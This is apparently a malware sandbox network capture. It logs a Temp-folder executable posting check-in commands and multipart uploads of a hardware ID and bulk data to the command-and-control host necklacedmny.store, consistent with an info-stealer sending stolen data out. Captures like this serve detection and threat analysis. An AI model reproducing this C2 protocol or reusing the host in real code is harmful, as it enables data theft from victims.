2024-10-31 19:52:27 UTC	15331	OUT	Data Raw: 80 a1 b2 a0 b9 93 db ed ac 2d 1a 02 d4 85 b4 ff dd d9 93 3f c0 db b3 80 5f 44 54 b7 1c 68 3e 0c 79 d0 73 01 07 f1 61 5a b1 60 26 80 b8 5b 14 20 d5 a5 1e 16 41 59 03 a7 8c 9a 00 d5 e3 fc f9 59 ab 0a c2 d0 3c 86 f3 fb 4c e4 d1 99 f8 bb 94 68 4a 5b 70 d5 83 d9 fb 7b 6b d2 77 13 63 b9 d6 cc d4 da ba 84 15 53 48 de 81 5e 3c 98 98 4b 8e c5 64 1b 26 b0 84 45 fb 58 77 5f a6 35 b3 7e f6 86 3c e2 51 1f cf 46 ca 01 62 9a d2 e5 20 d2 c2 48 53 4f 9e f7 ba 87 60 9a 11 92 89 f8 ab 25 95 2d e3 67 72 0a e2 bb 1f 61 9d 05 2c 33 e8 f2 8a e2 f7 08 7d e2 47 ff 24 f7 6c 9c 05 59 f3 64 e1 30 27 a5 68 2c 8c f1 4f 62 25 9e 42 b7 a1 f4 6d d8 8f 4f ed 71 57 c6 86 58 b3 d3 05 c9 16 eb a1 0a 57 43 23 60 14 ce d5 3f 1a 1d 16 45 4e ba bd bc 1f bc fe d9 aa af 1b 1a 34 cd 57 7f 62 ac 76 Data Ascii: -?_DTh>ysaZ`&[ AYY<LhJ[p{kwcSH^<Kd&EXw_5~<QFb HSO`%-gra,3}G$lYd0'h,Ob%BmOqWXWC#`?EN4Wbv
2024-10-31 19:52:27 UTC	15331	OUT	Data Raw: d0 67 ca 38 22 d7 5d 6b 40 58 ee 35 8b f5 10 00 aa 91 11 1f a2 c0 aa 5e 87 3f fa cf 94 e1 17 c7 f2 d1 20 fb 25 e9 cc ca a7 7e 46 c4 d1 fe 50 09 e0 80 97 ca 70 7b b3 de 25 16 6e 47 c1 af 35 68 05 b0 5f 52 5c fa 7a 60 3e 31 ed 52 bc 95 a7 9a 2c bf e5 37 81 a2 66 86 98 c6 f1 1a 32 a5 c6 5e 69 e7 71 60 81 f7 94 8d 18 09 61 30 17 dd ff c2 39 06 8f a8 32 f2 93 40 62 4b 30 b8 d1 1e fa fe 60 d4 f7 35 f5 a1 b7 20 31 cd 54 2a 7b 86 d1 51 77 26 78 2d eb 24 d3 6e 4b ed 22 e1 a3 39 94 9e 2a 9b 4d 22 e4 27 30 f2 72 0c bb 8f dc 76 e4 9f db c6 f9 51 4c ad 3c 43 c9 2e e4 e3 87 fe 9c c9 45 49 f6 46 0e b7 0a 82 c4 6d 13 6f f5 76 e3 1a cd f1 52 ce 74 14 86 1d c9 27 67 21 67 e0 ef 2c e6 a6 60 36 df e0 55 4b 2e c3 f2 83 bb 6c d9 f9 84 59 32 d9 55 03 30 be 0c 06 3e 3a 02 57 0a Data Ascii: g8"]k@X5^? %~FPp{%nG5h_R\z`>1R,7f2^iq`a092@bK0`5 1T{Qw&x-$nK"9M"'0rvQL<C.EIFmovRt'g!g,`6UK.lY2U0>:W
2024-10-31 19:52:27 UTC	15331	OUT	Data Raw: 02 97 f9 f1 e1 69 48 5e 32 8c 5f ee 35 21 22 82 83 b3 05 fc 74 f1 c9 2b 17 18 55 f0 e7 88 62 8a af 71 4f 62 e0 62 e1 ee 86 e0 61 aa e9 79 ad 1c 2f 34 2d 4e 78 ae 03 86 7b 97 8f 25 29 8e 83 73 c2 5d 91 ec c1 91 96 61 4c 4e c8 e4 3d 3c cf 7f 55 31 4f 74 a9 63 1d 2e 53 af ad 01 3f c5 ba 45 5b db 7e 67 25 26 58 92 11 23 64 7e c1 1e 1b db 09 65 ef d8 a6 87 4e 7c ef 5a 04 15 8a 22 01 49 3b 2c 0f 35 87 ff 25 c5 7f b1 3c 4f 22 92 b8 7a e9 47 de 6c a1 4f d5 aa c1 28 68 6f 39 f3 d2 03 14 ff d3 0c 38 bd 56 a1 a2 b1 5d 9f ef e5 b6 04 ab 92 c3 d6 eb 73 16 a3 5f c6 7f 27 44 90 67 85 d3 5b 0f ad d5 a6 9a 47 1f 71 f5 61 9d f8 32 b8 35 b6 bb 88 30 57 49 eb 28 01 8c ed 66 2a a5 e4 ad 30 f3 bc fe da f5 e2 6e da 4c 70 ea bf 11 95 05 2b ff f2 c1 33 30 35 cb 4b 53 1a 3c 2a 46 Data Ascii: iH^2_5!"t+UbqObbay/4-Nx{%)s]aLN=<U1Otc.S?E[~g%&X#d~eN\|Z"I;,5%<O"zGlO(ho98V]s_'Dg[Gqa250WI(f0nLp+305KS<F
2024-10-31 19:52:27 UTC	15331	OUT	Data Raw: 9f 46 03 53 4a cc d3 41 f7 2d 54 25 1e 27 58 e4 a3 e9 c7 0a bc a9 97 72 8d 71 18 08 0b 61 20 34 24 b2 e9 91 59 f2 eb 00 0e a3 1e aa 8c a3 4b 66 ee 5f 8b cf b9 de 73 2b e7 fa 5f 76 e5 cc 87 39 d7 b8 4d 27 ae 18 52 c8 26 35 61 38 bc 32 38 5e 63 74 72 a5 b6 4b 79 f9 6e 03 1e e8 db a8 f9 a6 5c 06 dd 02 dc 78 2c d0 be 74 07 a2 96 23 d9 19 0b 9a 28 ae 2a c0 a2 fb cf b4 5e d2 bd 3d e9 5d 47 d5 86 5d f9 97 df ee 62 50 05 40 67 d5 b2 ff 96 8d d7 80 fb 85 a9 68 fc ac b2 d8 5a 63 25 2e 9a 6e 5b 99 2a b7 16 09 d0 19 dc 7f d2 76 7f 8a a8 74 b4 ee fc 33 1a 88 de 29 9f 9c 36 de 4c a9 35 a0 18 e9 b1 39 fb c5 82 97 63 6e b9 e6 5c fa 95 d4 e2 79 5e 6a 3e ef 5a 0a 3a 20 b6 25 6c 55 54 1d 66 ec 75 0a 81 50 3f ed 22 83 af ae dd 7f 71 f1 36 1e 8d 33 62 67 93 51 98 73 3e f3 7e Data Ascii: FSJA-T%'Xrqa 4$YKf_s+_v9M'R&5a828^ctrKyn\x,t#(^=]G]bP@ghZc%.n[vt3)6L59cn\y^j>Z: %lUTfuP?"q63bgQs>~
2024-10-31 19:52:31 UTC	1022	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u9ndqpqoa1vf21puc1oevfrogl; expires=Mon, 24-Feb-2025 13:39:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KfHeYBYLZntpEt0p3hedTFIGhHNcgFyyRREUFPRPqYrHwx6oP%2BNsEwlQU0bYzlx0DaGplQd%2BbOndtZbuk3lr1krAN4vwc1cYfL6Zdic88JXFAk%2FD2lxdwT951vbJR%2BLiHCpnSCQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62f813b666ba7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1208&sent=211&recv=625&lost=0&retrans=0&sent_bytes=2845&recv_bytes=584371&delivery_rate=2322373&cwnd=68&unsent_bytes=0&cid=eba19fd3c4851d5b&ts=4286&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49753	188.114.97.3	443	7336	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:28 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 19:52:28 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 19:52:28 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ft11tke4hukvl9povjqg9qiedq; expires=Mon, 24-Feb-2025 13:39:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GqrzbJ6TRbDJ3keKsb%2FLqZm1%2B7808t6ZJyEMqJ7TPdDUnREmEAYTZ%2BNSYY3lLFdmv0gt%2B%2Bzu38UHop8H76z7%2FmAOzC9bGZtuKV0pPX8cJLfoUg8cEP9AOXuvv%2BQj0bAl0cmiXJU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62f87cf1a0bdd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1105&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2671586&cwnd=251&unsent_bytes=0&cid=03b12b85956d9287&ts=645&x=0"
2024-10-31 19:52:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 19:52:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49755	188.114.97.3	443	7336	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:29 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 19:52:29 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 19:52:29 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bhrpl65lnuvr872c8r0lm1nplp; expires=Mon, 24-Feb-2025 13:39:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QpzFNWFNoKFI5q1Xvf2z3BuDIy8oAxhPFsVo3xXAyRTXofPGjsn3xaSCoh0OyGRwTEqVcS3X1cAEQVbhkrgRvREnJI3aBQhB7qUBC6s%2BQhgIeZYXG%2Fc%2F8%2FFPRoiUrd24%2BEOP%2Fzs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db62f8e6acd4757-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1285&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2234567&cwnd=251&unsent_bytes=0&cid=de25641659b00b9e&ts=476&x=0"
2024-10-31 19:52:29 UTC	350	IN	Data Raw: 34 65 30 0d 0a 77 35 2f 78 58 70 56 4c 4c 31 52 50 63 49 52 6f 4c 41 69 63 49 71 4e 6b 43 56 74 41 71 53 58 73 54 72 34 39 44 5a 6f 7a 41 62 47 34 76 59 64 38 72 33 38 44 64 6a 77 56 70 6c 4a 59 65 75 6c 48 6a 30 5a 6f 50 32 4b 54 51 34 30 69 7a 56 67 68 75 45 56 73 6b 2f 6e 35 6b 44 4c 6d 4c 67 4e 32 4b 67 69 6d 55 6e 64 7a 76 6b 66 4e 52 6a 4e 35 4a 63 4e 48 6a 53 4c 63 58 47 62 31 51 32 33 53 71 2f 4f 57 4e 76 41 6f 53 7a 55 6a 48 65 45 4e 53 57 6e 32 54 4d 6f 4a 59 54 5a 69 68 51 65 4a 4e 4a 77 48 4c 39 64 57 64 64 43 4f 2f 6f 49 31 74 7a 59 44 4c 32 30 56 36 6b 6f 57 4b 76 31 48 77 51 68 76 50 79 76 42 54 59 51 71 33 56 6c 6e 36 6c 70 6e 32 61 76 39 6c 54 66 36 49 56 38 34 4b 52 72 71 43 30 4e 70 76 67 36 42 41 58 4e 35 65 6f 73 55 76 43 2f 4e 54 6e Data Ascii: 4e0w5/xXpVLL1RPcIRoLAicIqNkCVtAqSXsTr49DZozAbG4vYd8r38DdjwVplJYeulHj0ZoP2KTQ40izVghuEVsk/n5kDLmLgN2KgimUndzvkfNRjN5JcNHjSLcXGb1Q23Sq/OWNvAoSzUjHeENSWn2TMoJYTZihQeJNJwHL9dWddCO/oI1tzYDL20V6koWKv1HwQhvPyvBTYQq3Vln6lpn2av9lTf6IV84KRrqC0Npvg6BAXN5eosUvC/NTn
2024-10-31 19:52:29 UTC	905	IN	Data Raw: 54 4c 32 4a 45 30 6b 4a 52 6e 74 44 31 78 68 39 30 33 4d 42 6d 59 7a 4c 63 68 48 69 53 62 57 55 47 58 38 58 47 37 56 6f 66 33 54 63 72 63 75 56 58 5a 31 55 73 55 50 58 6d 33 79 56 6f 4d 38 4b 79 5a 73 30 67 65 4a 49 4a 77 48 4c 2f 42 55 59 4e 43 71 38 70 41 30 2f 44 74 4e 4a 43 73 66 34 78 68 49 62 2f 42 4b 77 68 52 68 4e 79 54 49 54 6f 55 6c 32 56 68 72 75 42 38 6a 31 4c 6d 39 79 33 7a 57 4a 45 59 36 4a 77 58 6d 53 6c 45 6b 35 77 44 47 43 69 74 68 59 73 39 47 69 69 33 59 55 57 48 38 58 57 58 64 72 50 4b 56 4e 76 63 75 52 7a 34 6c 45 2b 73 42 51 57 72 37 54 63 55 41 5a 7a 67 6e 69 77 6e 4f 4b 38 51 66 4e 37 68 2f 5a 4e 43 7a 76 36 59 2f 2b 53 64 4b 49 47 30 4e 71 42 4d 4f 62 66 49 41 6d 55 5a 6c 50 43 33 5a 52 70 77 70 30 6b 31 6a 2f 56 64 75 30 4b 2f 39 Data Ascii: TL2JE0kJRntD1xh903MBmYzLchHiSbWUGX8XG7Vof3TcrcuVXZ1UsUPXm3yVoM8KyZs0geJIJwHL/BUYNCq8pA0/DtNJCsf4xhIb/BKwhRhNyTIToUl2VhruB8j1Lm9y3zWJEY6JwXmSlEk5wDGCithYs9Gii3YUWH8XWXdrPKVNvcuRz4lE+sBQWr7TcUAZzgniwnOK8QfN7h/ZNCzv6Y/+SdKIG0NqBMObfIAmUZlPC3ZRpwp0k1j/Vdu0K/9
2024-10-31 19:52:29 UTC	1369	IN	Data Raw: 33 66 38 63 0d 0a 4a 42 76 30 41 45 4a 6b 37 45 33 4c 41 32 55 31 4a 38 52 48 6a 79 33 53 56 57 53 34 48 79 50 55 75 62 33 4c 66 4e 67 6b 58 53 51 6e 47 66 64 49 65 32 6e 77 54 73 59 51 4b 79 5a 73 30 67 65 4a 49 4a 77 48 4c 2f 4e 58 62 39 2b 68 2b 34 45 79 2b 44 74 48 4a 43 6b 63 34 67 5a 41 59 2f 4e 50 78 42 52 76 4f 54 44 4b 51 6f 6b 69 30 55 31 71 75 42 38 6a 31 4c 6d 39 79 33 7a 4e 48 55 6f 6d 50 42 57 6b 50 30 31 6b 38 45 66 58 52 6e 52 33 4f 34 74 41 67 6d 79 45 48 32 7a 30 58 47 72 57 72 75 2b 5a 4d 50 59 37 53 6a 38 6b 47 4f 63 45 51 57 48 79 52 64 4d 4e 5a 44 45 74 79 6b 71 44 4a 39 68 66 4c 37 59 52 5a 4d 76 68 70 64 4d 64 2b 69 5a 66 4e 54 78 51 30 77 6c 41 5a 50 6c 57 67 52 6b 6c 49 47 4c 4d 53 38 35 30 6e 46 35 6a 39 46 42 73 31 61 76 31 6b Data Ascii: 3f8cJBv0AEJk7E3LA2U1J8RHjy3SVWS4HyPUub3LfNgkXSQnGfdIe2nwTsYQKyZs0geJIJwHL/NXb9+h+4Ey+DtHJCkc4gZAY/NPxBRvOTDKQoki0U1quB8j1Lm9y3zNHUomPBWkP01k8EfXRnR3O4tAgmyEH2z0XGrWru+ZMPY7Sj8kGOcEQWHyRdMNZDEtykqDJ9hfL7YRZMvhpdMd+iZfNTxQ0wlAZPlWgRklIGLMS850nF5j9FBs1av1k
2024-10-31 19:52:29 UTC	1369	IN	Data Raw: 4a 4e 69 41 5a 36 41 52 48 5a 76 5a 4d 78 68 52 6d 50 43 72 42 54 6f 73 67 30 56 78 39 2b 31 41 6a 6e 65 48 36 69 33 79 76 61 57 6f 46 47 6a 47 6d 46 51 42 7a 76 6b 66 4e 52 6a 4e 35 49 38 4e 41 67 43 6a 4f 55 58 33 32 56 6d 50 56 71 66 57 55 4d 50 6b 6e 58 7a 34 73 45 75 67 46 52 6d 50 36 51 63 55 43 5a 7a 35 69 68 51 65 4a 4e 4a 77 48 4c 39 42 53 65 63 6e 6a 30 35 67 38 38 44 6c 62 4c 57 30 4e 71 42 4d 4f 62 66 49 41 6d 55 5a 76 4d 69 6a 43 52 49 63 6f 30 56 39 6d 39 31 68 72 33 71 6e 76 6b 6a 62 6c 4c 55 67 33 49 68 6a 69 41 6b 4a 6c 38 6b 54 54 44 53 74 33 59 73 78 66 7a 6e 53 63 66 32 54 75 63 6e 48 42 34 65 4c 64 4a 62 63 75 51 58 5a 31 55 75 38 47 54 32 76 30 52 73 6f 44 5a 6a 6b 6e 77 55 43 43 4c 4e 78 63 61 66 35 63 61 39 75 74 38 5a 41 78 38 69 Data Ascii: JNiAZ6ARHZvZMxhRmPCrBTosg0Vx9+1AjneH6i3yvaWoFGjGmFQBzvkfNRjN5I8NAgCjOUX32VmPVqfWUMPknXz4sEugFRmP6QcUCZz5ihQeJNJwHL9BSecnj05g88DlbLW0NqBMObfIAmUZvMijCRIco0V9m91hr3qnvkjblLUg3IhjiAkJl8kTTDSt3YsxfznScf2TucnHB4eLdJbcuQXZ1Uu8GT2v0RsoDZjknwUCCLNxcaf5ca9ut8ZAx8i
2024-10-31 19:52:29 UTC	1369	IN	Data Raw: 48 4f 63 4d 51 6d 65 2b 44 6f 45 42 63 33 6c 36 69 32 43 55 49 64 70 49 66 73 31 57 59 34 4c 68 34 74 30 6c 74 79 35 42 64 6e 56 53 36 77 5a 45 5a 2f 74 45 79 51 46 6f 4f 43 37 50 53 6f 4d 6f 31 56 74 71 36 6b 4e 6c 33 61 48 79 6e 54 50 37 4f 30 4d 7a 4c 52 36 6d 52 41 35 74 35 67 43 5a 52 6c 6f 75 49 6f 74 59 77 44 57 63 57 47 4f 34 43 53 50 63 72 4f 2b 66 4d 2f 63 6f 54 6a 49 6d 46 65 41 4d 54 32 6e 37 51 38 51 41 61 6a 6b 75 77 55 43 47 4a 74 4a 53 61 66 78 58 5a 5a 50 76 76 5a 51 6b 74 33 45 4e 42 43 41 63 37 77 6c 49 5a 2b 68 6f 38 45 5a 30 64 7a 75 4c 51 49 4a 73 68 42 39 72 38 31 6c 76 31 71 6e 34 6b 6a 54 39 49 55 49 35 50 78 50 70 41 30 6c 68 38 30 2f 50 41 32 55 72 4a 63 42 4d 68 69 58 53 57 53 2b 32 45 57 54 4c 34 61 58 54 43 76 51 6e 52 69 63 Data Ascii: HOcMQme+DoEBc3l6i2CUIdpIfs1WY4Lh4t0lty5BdnVS6wZEZ/tEyQFoOC7PSoMo1Vtq6kNl3aHynTP7O0MzLR6mRA5t5gCZRlouIotYwDWcWGO4CSPcrO+fM/coTjImFeAMT2n7Q8QAajkuwUCGJtJSafxXZZPvvZQkt3ENBCAc7wlIZ+ho8EZ0dzuLQIJshB9r81lv1qn4kjT9IUI5PxPpA0lh80/PA2UrJcBMhiXSWS+2EWTL4aXTCvQnRic
2024-10-31 19:52:29 UTC	1369	IN	Data Raw: 45 39 6c 76 67 36 42 41 58 4e 35 65 6f 74 32 6d 43 76 62 55 43 33 52 56 6e 6a 53 71 2f 36 59 4d 4c 63 32 41 79 39 74 46 65 70 4b 46 69 72 7a 54 4d 77 43 65 54 55 69 79 30 36 4a 4a 73 35 51 59 50 56 53 59 39 61 7a 2f 49 45 7a 2f 43 78 4f 4d 69 49 64 36 67 4a 45 4b 72 41 41 78 68 34 72 59 57 4c 6e 52 4a 38 6d 6e 6e 68 31 37 6c 5a 76 77 71 72 77 6e 33 7a 6f 5a 31 52 32 4b 68 36 6d 55 67 35 71 2f 30 33 54 41 32 6f 7a 4b 4d 5a 50 67 53 6e 5a 55 47 76 38 57 6d 33 42 72 2f 4b 54 4f 76 77 6f 53 44 55 6d 47 4f 67 44 58 43 71 77 41 4d 59 65 4b 32 46 69 34 56 79 50 49 64 41 64 51 66 4e 48 5a 4a 47 41 38 35 67 37 2b 7a 38 4e 4b 57 4d 4c 70 67 31 43 4b 71 59 41 79 41 68 6e 4f 69 58 44 54 34 73 73 31 31 39 67 38 6c 39 6b 77 61 76 78 6d 53 37 34 4b 6b 41 79 49 42 6a 6a Data Ascii: E9lvg6BAXN5eot2mCvbUC3RVnjSq/6YMLc2Ay9tFepKFirzTMwCeTUiy06JJs5QYPVSY9az/IEz/CxOMiId6gJEKrAAxh4rYWLnRJ8mnnh17lZvwqrwn3zoZ1R2Kh6mUg5q/03TA2ozKMZPgSnZUGv8Wm3Br/KTOvwoSDUmGOgDXCqwAMYeK2Fi4VyPIdAdQfNHZJGA85g7+z8NKWMLpg1CKqYAyAhnOiXDT4ss119g8l9kwavxmS74KkAyIBjj
2024-10-31 19:52:29 UTC	1369	IN	Data Raw: 49 41 6d 55 5a 72 50 53 37 49 51 49 41 6a 30 56 42 6f 38 31 35 70 33 62 50 79 6c 6a 54 37 49 55 41 6b 4a 78 6a 30 41 30 64 6e 38 45 6a 54 42 53 74 33 59 73 78 66 7a 6e 53 63 62 57 58 37 58 58 58 65 72 72 32 4d 63 75 35 70 53 6a 70 74 53 71 59 59 58 47 72 31 51 4d 59 49 65 54 67 71 78 45 32 4f 4b 74 64 56 62 50 46 56 62 64 71 6e 2f 4a 34 39 39 69 6c 49 4e 69 51 41 36 30 6f 41 4b 76 6c 59 67 56 34 72 44 69 37 41 64 6f 30 36 6e 45 41 68 34 52 46 6b 33 2b 47 6c 30 7a 33 6c 4a 45 55 79 4c 52 2f 67 41 55 39 72 2f 55 44 42 42 57 73 38 4b 63 52 42 69 53 48 57 56 6d 62 71 57 57 66 42 6f 66 47 58 66 4c 6c 70 53 69 35 74 53 71 59 36 54 57 48 79 51 4d 77 54 4b 79 5a 73 30 67 65 4a 49 4a 77 48 4c 2f 42 61 61 4e 57 71 2f 70 41 79 2f 43 4e 43 4f 53 63 55 34 41 4a 4c 61 Data Ascii: IAmUZrPS7IQIAj0VBo815p3bPyljT7IUAkJxj0A0dn8EjTBSt3YsxfznScbWX7XXXerr2Mcu5pSjptSqYYXGr1QMYIeTgqxE2OKtdVbPFVbdqn/J499ilINiQA60oAKvlYgV4rDi7Ado06nEAh4RFk3+Gl0z3lJEUyLR/gAU9r/UDBBWs8KcRBiSHWVmbqWWfBofGXfLlpSi5tSqY6TWHyQMwTKyZs0geJIJwHL/BaaNWq/pAy/CNCOScU4AJLa
2024-10-31 19:52:29 UTC	1369	IN	Data Raw: 45 61 6a 51 79 7a 41 66 41 62 4e 6f 66 4e 36 67 66 49 39 65 77 76 63 74 73 70 58 49 59 5a 58 70 43 74 42 55 41 63 37 35 57 67 56 34 35 64 32 4c 5a 42 39 5a 73 6d 31 78 39 36 6c 64 67 78 61 4b 36 72 51 4c 58 49 6b 45 31 49 52 50 68 53 67 41 71 38 51 43 5a 50 79 73 36 4d 4e 6b 49 6e 7a 72 52 54 32 69 30 57 58 4c 65 72 62 33 64 66 4c 73 74 52 6a 6f 6f 46 66 5a 46 58 48 72 31 54 4e 64 4b 62 79 74 69 68 51 65 66 4a 39 4e 4e 59 66 38 65 63 73 57 73 37 5a 41 35 38 47 56 46 4a 79 41 65 70 6b 51 4f 66 2f 56 4d 78 77 74 2b 64 6a 50 64 52 4a 67 72 6b 46 64 2b 39 56 30 6a 37 4f 2b 39 69 33 79 76 61 58 67 31 49 78 7a 68 48 46 38 6e 33 6b 76 4e 42 57 63 34 4a 59 73 4a 7a 69 71 63 42 7a 79 32 45 57 66 43 34 61 58 44 62 71 78 38 48 6d 46 39 51 50 6c 45 56 79 72 6f 41 4a Data Ascii: EajQyzAfAbNofN6gfI9ewvctspXIYZXpCtBUAc75WgV45d2LZB9Zsm1x96ldgxaK6rQLXIkE1IRPhSgAq8QCZPys6MNkInzrRT2i0WXLerb3dfLstRjooFfZFXHr1TNdKbytihQefJ9NNYf8ecsWs7ZA58GVFJyAepkQOf/VMxwt+djPdRJgrkFd+9V0j7O+9i3yvaXg1IxzhHF8n3kvNBWc4JYsJziqcBzy2EWfC4aXDbqx8HmF9QPlEVyroAJ
2024-10-31 19:52:29 UTC	1369	IN	Data Raw: 59 74 6b 48 31 6d 79 62 55 57 4c 35 55 6d 33 51 73 2b 2b 56 50 2b 45 71 43 67 67 54 4e 2b 73 48 53 32 54 35 66 76 38 6e 59 53 6b 76 78 45 43 77 45 75 74 4f 61 4f 67 54 52 64 43 33 2f 74 4e 79 74 7a 45 4e 62 6d 30 7a 37 42 70 44 5a 66 6b 41 6a 30 5a 76 65 58 71 4c 59 6f 4d 68 32 56 46 6f 75 6e 42 70 77 36 7a 79 6c 48 79 35 61 55 46 32 64 56 4c 6e 41 46 35 6e 38 55 65 4e 41 58 45 2b 59 6f 55 48 67 47 79 45 48 32 37 79 51 57 37 63 70 72 47 56 4d 76 6c 70 55 6e 67 30 55 76 42 4b 46 6a 6d 77 41 4e 4e 47 4d 33 6c 6c 78 55 71 50 4c 39 4a 63 66 65 70 58 59 4d 57 69 75 71 30 43 30 69 52 41 4d 79 4d 56 32 44 52 76 59 4f 35 4e 7a 67 45 70 47 53 58 64 52 4c 41 53 36 30 35 6f 36 42 4e 46 30 4c 66 2b 30 33 4b 33 4d 51 31 75 62 54 50 73 47 6b 4e 6c 2b 51 4c 68 41 58 30 Data Ascii: YtkH1mybUWL5Um3Qs++VP+EqCggTN+sHS2T5fv8nYSkvxECwEutOaOgTRdC3/tNytzENbm0z7BpDZfkAj0ZveXqLYoMh2VFounBpw6zylHy5aUF2dVLnAF5n8UeNAXE+YoUHgGyEH27yQW7cprGVMvlpUng0UvBKFjmwANNGM3llxUqPL9JcfepXYMWiuq0C0iRAMyMV2DRvYO5NzgEpGSXdRLAS605o6BNF0Lf+03K3MQ1ubTPsGkNl+QLhAX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49757	188.114.97.3	443	7336	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:52:30 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 19:52:30 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
